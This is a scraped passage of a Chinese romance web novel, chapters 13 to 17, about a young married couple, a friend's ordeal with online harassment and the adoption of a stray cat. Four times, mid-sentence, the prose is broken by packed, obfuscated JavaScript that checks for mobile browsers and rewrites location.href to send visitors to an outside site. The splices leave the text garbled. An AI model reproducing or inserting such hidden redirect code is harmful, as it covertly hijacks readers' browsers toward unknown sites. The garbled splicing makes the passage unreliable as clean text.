;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925517|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏声确认他走远,立刻跑进浴室,里面有她先前带进来的睡衣,她火速换好出去。 走廊里,周庭朔背对着她,正在尽头的窗前用英文通话,夏声蹑手蹑脚,赶在他看见前溜回了自己房间。 殊不知,夜色映衬下的玻璃窗恰如一面镜子,她的一举一动他都看得很清楚。 一抹促狭的笑从他嘴角掠过。 第二天一早,夏声将昨晚改过的文本发过去,对方确认没问题才放下心。 一共睡了不到六小时,夏声头昏脑胀。 正巧周仪娇也起得早,发信息来约她再去遛遛马。 “卓大哥也去,他能教你。” 还不到九点,马场基本没什么人,夏声将她的马牵出来先讲好道理。 因为她的马儿蹄子都是白色,夏声给它取名叫“落白”。 “落白,咱们说好了,今天得好好配合,可不能再丢脸了。” 落白扬了扬头,打了个响鼻。 身后传来温和的笑声,夏声回头,是卓冕。 “今天有我在,不会让你丢脸的。” 夏声说不清有一种什么感觉,卓冕对她的态度隐隐有种熟络感,可她想不起来两人什么时候有过交集。 他上前来,抚着马的颈侧,随即在它耳边说了什么。 “行了,上去试试。”他拍了拍马背。 落白在他旁边微微低头,很是乖顺的样子,夏声不禁问:“你跟它说什么了?别告诉我是秘密。” 卓冕牵住缰绳,搭手将她送上马背,抬头笑了笑。 “不是秘密,等你下马我就告诉你。” “现在我已经跟它约定好了,今天它绝不会吓到你。” 坐在马背上,跑马场一览无余,夏声想起周仪娇来。 “娇娇还没来,等她一会吧。” 落白已缓缓踏步前进,卓冕牵着缰绳在一旁引领。 “不用,我新订了马鞍给她,这会儿正安装调整呢,她还得试一会。” 马场空旷,只有落白的马蹄声,和偶尔卓冕提醒的声音,直到他突然说了句无关的话。 “听说你是京大的?” 夏声随口应声:“是啊。” 他似乎还想问些什么,但这时马场已陆陆续续来人。 任珩最先过来,看见他们二人在一起有些意外。 “我刚在健身房还碰到朔哥,怎么他没陪嫂子来练马?” 夏声一早起来时就没看到周庭朔,没想到他竟比她起得早,还是去运动。 果然工作狂不是一般人,精力旺盛。 “哦,跟娇娇他们临时决定来的。”夏声草草解释。 这会儿也遛得差不多了,卓冕扶着夏声下马,周仪娇也恰好牵着马过来。 还不忘展示她新装的马鞍:“卓大哥最好了,挑得都是适合我的。” 在她后面过来的祁家骏不满:“你骏哥不好?亏我昨天费心巴力地给你找录音棚调音师,白忙。” 周仪娇赶紧上前哄人:“哪能,家骏哥也好,人帅心善,比我亲哥还好。” 众人被她超绝拍马屁逗笑,没人发现不远处周庭朔沉寂的目光。 落在他眼中的画面,像是经过了系统精细的处理,其余区域皆是虚化的背景。 只有一处,是充分对焦且高亮的画面。 那是夏声在明眸浅笑。 而她的身后,卓冕牵着她的马,带笑的目光如一张密网拢在她身上。 14. 第 14 章 还是周仪娇先看到了她哥,招招手喊了声。 周庭朔走到夏声身边,恰好隔开她身后的卓冕。 “怎么自己来了,不是让你等我一起?” 两人早上都没碰面,哪来的说好一起? 不过没等夏声开口,周庭朔已接过落白的缰绳,牵着她的手腕往一旁走。 “早饭吃了没?”见夏声摇头,他一转方向,“那先去吃饭。” 身后的祁家骏嚷嚷:“我们也没吃呢,一起啊。” 餐厅里,众人围坐一桌,不知是不是刚刚骑马活动开了,夏声胃口很好,只顾埋头吃。 周庭朔倒是不急不缓,留意到她喜欢水晶虾饺,又帮她点了一份。 谁可曾见过周庭朔照顾女人,祁家骏与周仪娇对视一眼,彼此露出心照不宣的笑容。 饭吃到一半,夏声突然想起来什么,抬头看向一直不曾说话的卓冕。 “对了,你还没告诉我你之前在马耳边说了什么。” 闻言,卓冕淡淡一笑:“虽然不是什么秘密,但也不好全叫人知道了,下次我单独告诉你。” 坐在夏声旁边的周庭朔眸光一定,手中的青瓷茶盏被他慢慢捏紧。 任珩好事儿,转过头来问。 “你们怎么还扯上秘密了,说来听听啊,怪吊人胃口的。” “就是,有什么还不告诉我们,拿哥们当外人?” 见夏声放下筷子,周庭朔适时岔开话题。 “早上熙熙来电话,说想你了。” “之前说要养猫,家骏可以从朋友那选个品相好的,你看你喜欢什么品种?” 对面的祁家骏点点头:“对,弟妹喜欢什么样的,尽管说,我给你弄来。” 说完还不忘揶揄一句:“某人不是说是送熙熙的吗?” 周庭朔没接这茬,夏声想了想回绝了他的好意。 “其实,我想从我们学校的小流浪中绑架一只。” 周庭朔一时没表态,手指在桌面上有一搭没一搭地敲着。 在他们眼中,流浪猫当然不比品种猫,何况是给熙熙养,但夏声还是想争取下。 “学校的流浪猫都是大家一起喂,性格很好也都亲人,带回家前我会先送去医院做全面检查,打好疫苗。” “在熙熙来接触它之前,我一定会确认它完全健康安全的。” 像是为了说服他,夏声拿出手机翻找照片给他看。 “它们都很可爱的,还会在教室的讲台上睡得翻肚皮。” “能领养一只,也算是功德一件。” 她举着手机靠向周庭朔那边,说话间流露出的喜爱极具感染力,周庭朔象征性地看了几眼照片,目光又落回她的脸上。 “好,你做决定就行。” 对面的周仪娇与祁家骏完成了第二个心领神会地对视。 夏声是在学校微博号上翻的猫咪照片,退出前她无意看到了娱乐热搜榜。 #真真不假塌房 #真真不假媚男辱女 真真不假是安真的自媒体账号,这两个热搜明显是黑热搜。 词条里各种信息刷得极快,吃瓜群众,扒皮小号,娱乐营销自媒体全都搅成一锅粥,大有在她塌房的词条下狂欢的即视感。 夏声大概看了眼,都是将安真曾经的发言过分解读,恶意曲解的发言。 有些话充满戾气,有的不堪入目。 那些人不仅恶意中伤,甚至P黑图辱骂安真,像是她做了什么十恶不赦的事。 滑动屏幕的手指越来越急,连同夏声周身的气压也变得极低。 周庭朔微微侧目:“怎么了?” 她扣上手机,深吸了两口气,网上那些污糟东西,再多看一眼都要气炸。 “你之前说你有认识的律师,能不能介绍给我。” 安真表面看着大大咧咧,一切都看得开,实际总是自己一个人消化情绪,强撑厉害。 两人多年姐妹,她的事就是夏声的事,夏声怎么也不能让她受这样的委屈。 “律师?”周仪娇视线扫过卓冕,“卓大哥就是啊,他是律所的合伙人。” “你先说怎么了。”周庭朔瞥了眼她的手机,“是你之前那个同学?” 之前金楠楠的事已经解决差不多了,她出车祸的地方有监控,肇事司机没两天就被找到,事情不算麻烦。 夏声摇摇头,迅速看了祁家骏一眼。 “是我另一个朋友,在网上惹了些麻烦,被人造谣辱骂,闹得有些大。” 虽然没指名道姓,祁家骏也听出是谁。 从来吊儿郎当的人,骤然收了痞气,认真起来。 “是她吗?” 没等夏声回答,他掏出手机翻看起来。 脸色几乎瞬间转冷。 “这帮人真他妈闲得蛋疼。” 看到这周庭朔大概知道是谁了,给了祁家骏一个稍安勿躁的眼神。 “先解决问题。” 祁家骏重重出了口气,拿起手机拨了通电话,转身向旁边没人的地方走去。 夏声视线顺着他的身影飘远,又听到周庭朔问:“联系上她本人了吗?” 不出所料,她电话关机,已经联系不上。 “是公众人物?”对面的卓冕适时开口。 “嗯,做自媒体账号,全网大概几百万粉丝。”夏声一边回复,一边给安真发信息,让她看到消息第一时间联系自己。 那边祁家骏也回来了,阴沉着脸问卓冕。 “这种网络案件,怎么处理?” 看他一脸严肃,卓冕略微坐直身体,给出几个案例。 “我们律所接过几个明星和模特的委托,案情与你们说得应该差不多。” “这种案件入刑困难,可以追究民事责任,大部分为经济赔偿,名誉挽回等。” “实际意义并不大。”他顿了顿,又加了句,“但能出气。” “行。”祁家骏似乎已经为当事人下了决定。 夏声联系不上安真实在担心,发完信息就准备起身。 “我得先回去了,她没有消息,我不放心。” 这次的行程本是订了两天,但事出突然她呆不下去。 周庭朔随她一起,不忘叮嘱周仪娇。 “我们先回去,你跟卓冕他们一起回吧。” 那边祁家骏接着又打了两个电话,间隙给他们递了眼神,显然是要跟他们一起。 离席前卓冕拿出一张名片递给夏声:“如果你朋友需要律师,可以联系我。” 夏声匆匆接过,扫了一眼道了声谢。 随即几人消失在餐厅门口。 风风火火,桌上少了一半的人,周仪娇喝了口甜汤,有些失望。 像是想起什么,她抬眼看向卓冕。 “卓大哥,你刚刚给名片的样子特别像拓展业务来的,但这种案子也挣不了几个钱吧。” 况且祁家骏他们都有他的联系方式。 卓冕的号码已经有几年没换过了,他垂着眼想起刚刚夏声看名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925518|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片时候的样子。 过去快三年了,她还会记得吗? “不为赚钱。” 两辆车子疾驰回市中心。 虽然安真还没毕业,但她去年就从学校搬出来,在附近租了个小公寓。 夏声知道地址,一行人直接驱车赶往。 一路上夏声一直给她打电话,始终不见接通。 车刚到地方,祁家骏就率先冲了出去,夏声跟在后面,跑着都追不上。 等上了三楼,他已经在门口敲了半天门。 见她来了,他让开些位置:“你来,我敲门她可能不想开。” 夏声拍了几次门,又看了看门口堆着的外卖,不像家里有人。 门把手上还挂着一个,她随手拿起来看了眼小票。 不过几秒,她毫无征兆地将外卖袋子扔到地上,狠狠踩了几脚。 “这些人太过分了!” 一旁的周庭朔上前拉住了她的胳膊,他从没见过她这样,气急败坏的样子。 另一边的祁家骏狐疑着要去捡那袋子,被夏声拦住。 “别看,你们都别看。” 夏声甩开周庭朔的手,将门前的所有东西一股脑抓起来,连看都不看就往楼下跑去。 东西扔进垃圾桶,发出沉闷的响声。 不知是因为跑得太急还是情绪波动太大,夏声胸口剧烈起伏着,甚至眼眶都开始泛红。 周庭朔紧跟在她身边,语气担忧:“还好吗?” 而祁家骏则向垃圾桶深深看了一眼。 等看清那些袋子里都是什么东西后,他咬着牙,不住地点头,怒极而笑。 垃圾桶被他一脚踹倒还不解恨,他狠狠向后撸了一把头发。 “这帮王八蛋。” “老子一定让他们付出代价!” 一件件匿名的外卖单里,皆是些情趣计生用品。 下单留言更是极尽下流和侮辱,是看一眼都要犯恶心的程度。 夏声不明白,为什么有人会隔着一个虚幻的网络,对一个女孩有如此大的恶意。 那些针对她的人,恶意曲解、随意评价,不论真相是什么,都一股脑的踩上来。 仿若失智。 恰好此时,夏声手机响了起来。 她一看名字,立马接通。 “安真,你在哪,你还好吗?” 对面故作轻松:“好着呢,怎么了?” 这反应,像是完全不知道网上的风波一样,但夏声听得出来,她在强装镇定。 哄着安真说了位置,几个人又匆匆前往。 应该不会有人猜得到,经历网暴的本人正坐在一家中餐厅。 十人的大包间,她自己点了满满一桌菜。 见她好好的坐在那,啃着一只螃蟹,祁家骏略微松口气,随即那副浪荡不羁的样子又显露雏形。 “你还真是心大,手机为什么关机?” 他坐到她旁边隔两人的位置,看了眼桌上这满满的菜品,皱了皱眉。 而夏声却直接上前两步,按住安真还要夹菜的手。 “安真。”她摇了摇头,“别吃了。” 也许别人会以为安真是内心强大,此时此景还很有胃口。 只有夏声知道,她压力过大时就会暴食,吃得停不下来,再去吐到胃酸胆汁都出来。 循环往复,直到人彻底被情绪摧毁。 夏声压着声音,带着请求一般又重复了一遍。 “真真,别吃了,我们回家。” 15. 第 15 章 餐厅放着节奏轻快的流行乐,可包间内没有一个人心情称得上轻松。 安真一身红色宽松卫衣,浅蓝牛仔裤,那个她称之为必备品的高跟鞋也换成了运动鞋。 此刻,她就是一个普通得不能再普通的大学生。 她咧着嘴邀请夏声一起:“你快来尝尝,他们家新开的,很好吃。” 看到旁边的周庭朔,又惊讶了一瞬。 “这是……你老公?” 安真将手上的一次性手套摘下来,冲他打招呼:“你好,我是声声最好的闺蜜哦。” 周庭朔点点头:“你好。” 言行之间,好像一切正常,夏声却接过安真的手捏了捏。 “热搜已经都撤了,过几天热度过去就没事了,你不必太在意。” “撤了?”安真收起笑,“我还以为能闹到什么时候呢。” “嗯,一个小时前全部都撤掉了。” 岂止是热搜,连同相关搜索热度也被压死,包括她账号下的评论区,也一应被控评。 出自谁手,显而易见。 安真瞥了眼不远处的祁家骏,没说话。 “那些造谣你的人,我们一定追究他们法律责任。”夏声承诺。 她苦笑一声:“追究了又能怎么样,那些污名已经灌在我身上,洗不干净了。” 旁边的祁家骏立即反驳:“那也不能让他们毫无代价的伤害你。” 似乎听到句笑话,安真抬眼看向他,唇角勾起。 “那你呢,跟他们有什么分别。” “你付出什么代价了?” 一句话让他没了声音,像是被碳木塞了喉咙,话在心口却烫得说不出。 他转头看向一旁的夏声跟周庭朔。 “能不能让我们单独聊聊。” 安真一听,果断起身拿着包要走。 祁家骏两步追到包厢门口,拦住她。 “你躲能躲到什么时候,事总得说清楚。” 两人拉扯间,安真的情绪突然崩溃,她将包摔在祁家骏身上,捂着脸哭出了声。 “说什么啊,你跟那些人也没区别。” “都是混蛋!” 她哭得放肆,透彻,像是所有的委屈倾巢而出。 傻了眼的祁家骏只能任由她骂,愣了两秒才上前抱着她,低声安慰。 “是,我是混蛋。” “我错了。” 看起来,他俩的问题一时半刻说不完,周庭朔拉着夏声出了包间。 看出夏声还在担心,周庭朔打开车门将她安置到后座。 附身撑在车门上看着她。 “说好两天的假期,还有不到半天的时间,转换下心情?”他语气轻缓,照顾着她的情绪。 “可……” “夏声。”周庭朔打断她,“家骏有分寸,你不用担心。” “如果你实在不放心,我们一会再回来接她。” 她并没有什么兴致,但也不好一再拂他的面子,确实这个节点,她留下来也做不了什么。 一路上,夏声心不在焉,直到车子驶到京大附近。 隔着一个路口,周庭朔叫停了车。 “走吧。” 她压根没想到周庭朔说的放松心情,是来她学校。 “做什么?”她懵懵发问。 “你不是要‘绑架’小猫。” 今天周末,学校里的人格外多,夏声看向周庭朔。 虽然不是工作时规整成套的西装,但做工考量的衬衫西裤仍旧与学校的气质格格不入。 加上他过分出色的外貌条件,太扎眼。 但他也没给夏声犹豫的时间,甚至谈起早上看过的那几只小猫。 “你喜欢哪只,我们直接去它常出没的地方看看。” 有一只小橘最喜欢在南山的亭子里睡觉,这会去应该碰得到。 夏声想了想带着他走条相对僻静的路,只是快到的时候,才意识到他们好像忘带了东西。 “空手来这个吃货不会理我们的。” 不过这些他早已考虑到:“司机已经去买了,稍等一会。” 两人在亭子外等了不到十分钟,东西就送来。 不仅有猫粮猫条,还有航空箱和大毛巾。 小橘只有巴掌大,正趴在亭子里的石桌上睡觉,听到夏声靠近的声音警惕地动了动耳朵,随即睁开眼睛。 见她手里拿着猫条,懒懒地伸出爪子抻了个懒腰,慢悠悠地就凑过来要吃的。 夏声回过头冲周庭朔眨了眨眼。 因为怕周庭朔是生人吓跑了小猫,所以让他等在了原地。 不出几分钟,小猫已落到夏声怀里,隔着毛巾rua它脑袋的夏声,脸上终于一扫阴霾。 而拎着航空箱站在远处的周庭朔,眼里不经意间流露出些许温柔。 小猫被送进航空箱时,冲着周庭朔喵喵叫了好几声。 那腔调很像是在控诉他的“绑架”行为。 周庭朔将箱子提起来,眼神指了指夏声。 “罪魁祸首在这。” 谁知小猫看了眼夏声,竟然舔舔嘴巴,不出声了。 他有些无奈:“你倒是聪明,知道谁是你衣食父母。” 一猫一人的对话着实好笑,夏声心情慢慢转好,转头问他:“周庭朔,你真的没谈过恋爱?” “怎么?” 她扣好航空箱,看向他的眼里盈着细碎的光:“你很会哄女孩子开心。” 她总会在意料之外的时候,坦率直言,有时甚至会令他措手不及。 “算是夸奖?” “不。”夏声摇摇头,“是感谢。” 车上,小猫似乎认清了形式,安静的趴在夏声脚边的航空箱里。 夏声将剩下的猫条收进包里时,看到了那张卓冕的名片。 她“呀”了声:“忘记把这个给她了。” 手中的名片被旁边的人顺手抽走,夏声看他将名片翻转两圈,似乎不准备还给自己。 “祁家骏会帮她处理这事的,他有卓冕的联系方式。” “你就不要抢他这个机会了。” 夏声摸摸鼻尖,也没再坚持。 看了眼时间,已过了一个多小时。 夏声拿出手机拨电话给安真,对面是祁家骏接的。 他略微压低声音:“她哭累了,在我旁边睡着呢。” “我正送她回去,我会照顾好她的。” 大概对他的信任还不够,夏声仍不放心:“她住的地址也不安全了。” “知道,我会安排,不会送她去那了。” 还有什么想要叮嘱,却听到对面安真迷迷糊糊埋怨的声音。 “祁家骏,你不要再吵,我要睡一会。” 想来她这两天都没好好休息过,夏声无声握紧手机。 “祁先生,至少在这个节点,你要站在她身边。” “照顾好她。” 挂断电话,夏声发现周庭朔正在看自己。 她有些茫然地对上他的视线,随后低下头看自己身上,又没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925519|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有任何不合适的地方,所以他在看什么? 那通电话落在周庭朔的耳中,他不由琢磨起薛宁玉的话来。 “女人要哄,自己的老婆更要照顾好。” 可自从他认识夏声,她好像总是在照顾其他人。 安真、金楠楠,因他而刚熟识的周灵熙。 甚至承她好意,被送来温牛奶的自己。 没头没尾的,他问:“你为什么总是在照顾別人?” 夏声一愣,随即低下头隔着箱子逗起小猫。 半晌才回他:“大概习惯了。” 她一句习惯,不知略过多少不太顺利的过往。 周庭朔婚前对她并非一点没有了解,但都是粗浅的,流于形式的基本信息。 对于她是个什么样的人,她经历过什么,并不清楚。 薛女士倒是给过他一份详尽的资料,也许可以再仔细看看。 被“绑架”的小橘直接送去宠物医院,里外进行了全套洗礼,才进了家门。 如今它结束流浪生涯,夏声给它取名叫福宝,希望它以后福气多多。 猫到家几天,似乎就知道以后这是自己的地盘,于是变得格外闹腾,爬上爬下好不欢乐。 夏生怕它弄坏周庭朔的东西,平时尽量跟它呆在自己房间。 直到有一天,周庭朔五点多就回到家。 那时福宝还在客厅里撒欢。 正在准备猫饭的夏声回头发现他回来,手忙脚乱地就想去抓福宝回房。 哪知猫一转方向,竟然一头冲到周庭朔腿边,好巧不巧,爪子还攀上去了。 周庭朔垂眸,对上福宝圆圆的眼睛,轻轻动下脚踝。 福宝嗖一下跑走,顺爪勾坏他的裤腿。 留下面面相觑的两人。 “要不……我赔你条新的?” 看着粘在裤腿上的几根猫毛,周庭朔拧了拧眉。 “不用。” 但从那之后,猫从客厅消失了,连带着人。 将近一周,周庭朔都没怎么见过夏声。 只要他回去,她必定抱着福宝待在卧室,闷不吭声,绝不出门。 那种感觉,仿佛家里只有他一个人在。 无端地觉得这家空旷得过头,周庭朔给西苑打去电话。 没两天,周灵熙拎着小手提箱赶来。 大女孩小女孩,两双眼睛对着一只猫放光,完全把他这个大活人忽视。 卧室门关上,欢声笑语都是里面的,周庭朔一个人在客厅喝着咖啡。 沉默,震耳欲聋。 不久后,卧室门被敲响。 周庭朔站在门口,一脸正经:“带熙熙出来玩。” 夏声回头看了眼,周灵熙正趴床上跟福宝玩逗猫棒。 “为什么?” “卧室空间太小,猫毛浓度过高,我怕她过敏。” 这理由太蹩脚,夏声一天吸三次猫毛,哪来的浓度过高。 她盯着周庭朔,突然灵光一闪。 “想跟福宝玩就直说嘛!”她转身去床上抱来猫咪,一把塞进他怀里。 周庭朔:“……” 客厅里,周灵熙挠着福宝的下巴,小猫咪惬意地打着呼噜。 夏声在一旁看着坐得离她们几米远的周庭朔,默默偷笑。 谁知周灵熙突然问了句:“小叔叔,婶婶不跟你睡一起,是因为福宝吗?” “那我来了,我可以陪福宝睡觉了,让婶婶陪你睡吧。” 夏声一口水没咽下去,呛得咳起来。 16. 第 16 章 剧烈的咳嗽声,伴随夏声手忙脚乱放下水杯的动作。 周庭朔递来纸巾:“慢点。” 一张脸涨红,也不知是咳的还是吓的。 “我记得爷爷奶奶都睡一间卧室啊,你们怎么要分开睡。”周灵熙似乎认定了这个道理。 夏声发现,只要周灵熙跟自己在一起,明显变得自在,话也多了。 她缓口气,看周灵熙瞪着大眼睛一脸无辜,转头向周庭朔使眼色。 可他却像事不关己,慢条斯理地擦着桌上的水渍。 只能靠自己。 “哦,福宝习惯了跟我睡,不然晚上会喵喵叫的。”夏声过去将猫抱起来,夹着嗓子换成猫咪专用声线,“是不是啊?” 但福宝不买账,四肢用力肚皮翻滚,挣扎着就要出去,一点不想在她怀里呆。 周灵熙伸手摸了摸,它又安静下来。 “你看小婶婶,它很喜欢我,晚上我陪它肯定没问题。” 此招不行,夏声又改口径:“我每天睡得太晚,会影响你小叔叔休息,而且我睡相不好,自己睡比较方便。” 奈何周庭朔当场拆台:“你应该睡得比我早,至于睡相……” “很好。” 夸人用不着趁现在,夏声狠狠睨了他一眼,就差咬牙切齿说“谢谢”。 这下无话可说,周灵熙揉揉福宝的耳朵,很是兴奋。 “一会我就帮福宝搬家。”她睡在夏声隔壁房间,想了想,又看向夏声:“我也帮婶婶搬。” 夜里十点零五分,夏声洗漱完躺在主卧的大床上,拼命酝酿睡意。 骤然换了地方,她有些不习惯,床头灯关了又开。 周庭朔半小时前进的书房,按照日常规律,他至少还要半个小时才会出来。 想想还是留个灯给他。 她将脸靠向里侧,听着自己咚咚的心跳,一点睡意没有。 死脑子,快关机啊! 就在她隐约犯困时,卧室门被打开,轻缓的脚步停在床边,顿了顿又走去浴室。 夏声的心犹如坐着过山车,忽上忽下。 事已至此,她只能给自己做好心理建设。 反正就是睡一张床,周庭朔至少是个正人君子,不会把她怎么样。 就这样满脑子顾虑,直到床的另一侧微微下陷。 接着,床头灯熄灭。 卧室的遮光帘质量过好,室内几乎透不进一丝月光,一室黑暗下,身旁沉缓的呼吸声反而更惹人在意。 夏声大气不敢出,躺在床上犹如商场的陈列模特,平直僵硬。 不久,旁边的周庭朔翻了个身。 随着他的动作,两人之间的被子被拉直,夏声几乎能感到风穿进的方向。 她睡觉最喜欢将被子的四角压实,不留一丝缝隙才有绝对安全感,不然她睡不着。 忍吧,忍到觉得周庭朔大概睡着的时候,她悄悄拉下被子。 无济于事。 刚叹口气,旁边传来布料摩擦的声音。 “还没睡。” 装不下去,夏声只好回他:“换床了,不习惯。” “嗯,睡几天就习惯了。” 夏声:…… 不是应该说过几天周灵熙走了,她就搬回去吗? 大概是他翻身回来,被子又落下去,夏声刚将身侧的空隙掖好,又听他开口。 “睡那么远,不怕掉地上?” “不会。”她一边否认,一边还向边上挪,全然忘了刚刚他上床后,自己已经躲到最远的事。 一半的身体突然没了支撑,夏声裹着被子骤然向下滑,眼看就要摔下去,腰间一只手臂将她拉回来。 夏声心脏砰砰跳,黑暗中眨眨眼,仍旧看不清面前人。 只能感受到他一起一伏的呼吸。 低沉清冷的声音自她头顶响起:“这么大的床不够你睡。” “躲什么?” 他很快回到自己那侧,夏声稳住心神,依旧嘴硬。 “没躲,不小心而已。” 她手摸索着,准备向里挪,不小心碰到旁边隆起的被子,被人止住动作。 周庭朔掌心温热干燥,稳稳当当停留在她的手腕上。 她挣了挣,抗议道:“你抓着我做什么?” 周庭朔:“以防你再掉下去。” 似乎被她折腾得失去耐心,他加一句。 “再不睡,就起来做点别的。” 这下顺利让夏声偃旗息鼓,也不知什么时候,她还真的沉沉睡过去。 一夜无事发生,第二天一早却被安真的信息连环轰炸。 身边已经没人,夏声点开手机。 【安真:宝贝陪我去做美甲好不好。】 【安真:语音条】 【安真:怎么回事,还不回我,没爱了?】 急性子真是等不了一会,夏声点开那条语音,除了安真的声音,好像还有个男人的声音。 【夏声:你跟祁家骏和好了?】 下一秒,安真电话打进来。 “一大早就不理人,干嘛去了?” 被人拉着手腕一整晚,夏声根本没睡好。 她打着哈欠:“刚睁眼,床都没起呢,就给你回信息。” 安真似乎已经在外面,她听到关车门的声音。 网络风波起得猛,落得快,有祁家压势,肯定掀不起风浪。 加之律师函发遍全网,躲在网络后造谣的人,也不得不出来道歉澄清。 安真总算出了口气,这几天准备停更一阵,于是闲得厉害。 “我都准备出门吃早茶了,你居然才醒,赶紧去收拾收拾,一会我给你发位置,速来找我汇合。” 今天没课,夏声还想宅家来着。 “你不是有人陪,非拉上我干嘛。” 夏声点开免提,查看寝室群。 catti二笔周六开考,一早大家就开始讨论。 【沈习诗:马上考试,脑子还是全新,我OK的。】 【赵茹:无所谓,裸考重在参与,话说咱俩就多余报。】 【沈习诗:夏声肯定准备好了,她好久没回寝室住,都没人带领我们学。】 【金楠楠:声声,你再不回来我们期末考怎么办。】 听筒那边祁家骏的声音隐约传来:“去地下车场吧,你先上去,我得回家一趟。” 安真“切”了声:“听见了吧,都忙,忙点好啊。” 夏声打字回群消息,还要分神应承她。 “知道了,等我回房间换身衣服,这就去找你。” 对面静了一秒,随后传来尖锐爆鸣。 “等会!你没起床……回房间换衣服……” 打字的手一顿,还没等夏声解释,安真已得出结论。 “你现在睡哪了,是不是他房间,你俩睡了是吧!” 高考录取都没见她这么激动,夏声无奈,只能生硬挽回。 “别瞎猜,等我一会。”之后迅速挂断电话。 周庭朔雷打不动八点前要出门,周灵熙也上学去了。 上次她来小住后,周庭朔就请了做饭阿姨,夏声垫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925520|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口早饭,赶往手机上的定位。 安真最爱折腾她那十个指甲,夏声到时,指甲已修剪完,正准备选款。 顾不上讨论样式,安真眼神沾在她身上。 “从实招来,从实招来。” 夏声坐她旁边,认真看着美甲师递来的图片。 “招什么,两人盖着被子纯睡觉,有什么好招的。” 知道她最爱刨根问底,夏声先堵住她的嘴。 “先做你的,一会再说。” 臭美都没心思,不到一个小时弄完,两人找了个咖啡厅坐着。 夏声刚拿出手机,被安真没收。 不说不行,她开口:“昨晚一起睡的,什么都没做。” “细节呢?” “细节就是两人盖一床被子不合理,会漏风。” 安真无语:“你跟他睡一被窝,没点想法?” 没来由觉得口渴,夏声抽回手机,准备点单。 “什么想法,睡个觉还要写三千字感言?” “完了。”安真向后一靠,露出无可救药的表情,“这尼姑庵你住定了。” 可又不死心,马上坐起来,眼睛紧盯着她。 “你们就没点肢体接触?” “他就什么都不做?” 倒也不算,手腕上被虚握的触感还很清晰,但这算什么肢体接触? 夏声没回,点了杯拿铁,将手机递给安真。 男女之事安真比夏声开窍早,已经二十一世纪,清规戒律早都被废止。 成年人,自有生活。 “声声,食色性也,你们要是那方面不和谐,早晚出事。” “你确定他没问题吗,会不会是他不行?” 这怎么确定,夏声既没经验,也没机会,行与不行又不是能看出来的。 “不知道,应该……行吧。” 亲闺蜜,自不拿她当外人,安真起身坐她旁边,凑在她耳边传授起经验。 末了,交代作业。 “今晚你好好关注下。” 好巧不巧,当晚周庭朔加班,回家已是凌晨。 那时,夏声已睡得云里梦里,没关注到一点。 甚至一连几天,都是如此。 安真痛下结论:“他就是有问题,躲着不回家,外强中干!” 夏声没当真,准备考试才是正事。 前两天她给寝室几个人都发了笔记,今天开考前,大家还在群里互相打气。 准考证、词典全都带好,考点在市中心交通最差的地方,夏声提前打车出门。 考场上,她答得认真,但题不简单,夏声自觉发挥一般。 出考场打开群聊,一片哀嚎。 人群拥着她向前走,夏声低头安慰群里的舍友,不小心撞到一个身影。 抬头,竟是许久未见的卓冕。 他伸手虚扶一下,温文尔雅的绅士风度。 夏声惊讶:“好巧,你怎么在这。” 说话间,人已退开,他看向空了的手,绻起掌心笑笑。 “律所就在旁边。” 附近就是寸土寸金的地标中心,律所开在这定是有些底气。 夏声想起前一阵,他们律所帮安真网络追责的事。 “之前我朋友的事,还没谢谢你。” 本是一句礼貌客套,卓冕却像当真。 “我以为会是你替你朋友找到我,我还一直在等你电话。” 那张名片早就不知踪迹,夏声自然联系不到他。 “既然要谢,不如现在,我请你吃饭。” 17. 第 17 章 环境优雅的法餐厅,小提琴悠扬。 夏声本以为律师都健谈,卓冕却擅长倾听。 一来一回引导着,都是她在说自己的事。 “怎么不聊聊你,你们律师出庭不是都善辩如流?” 卓冕作为合伙人,如今一般案子已不太经手。 不过他还是缓缓开口,提及三年前她们学校的一起学术风波。 外籍教授以权谋私,学术造假,更为恶劣的是,他利用职务之便,骚扰女学生。 “听说那个教授后来被解聘了。”他谈及事情后续。 这事夏声很了解,因为她是亲历人。 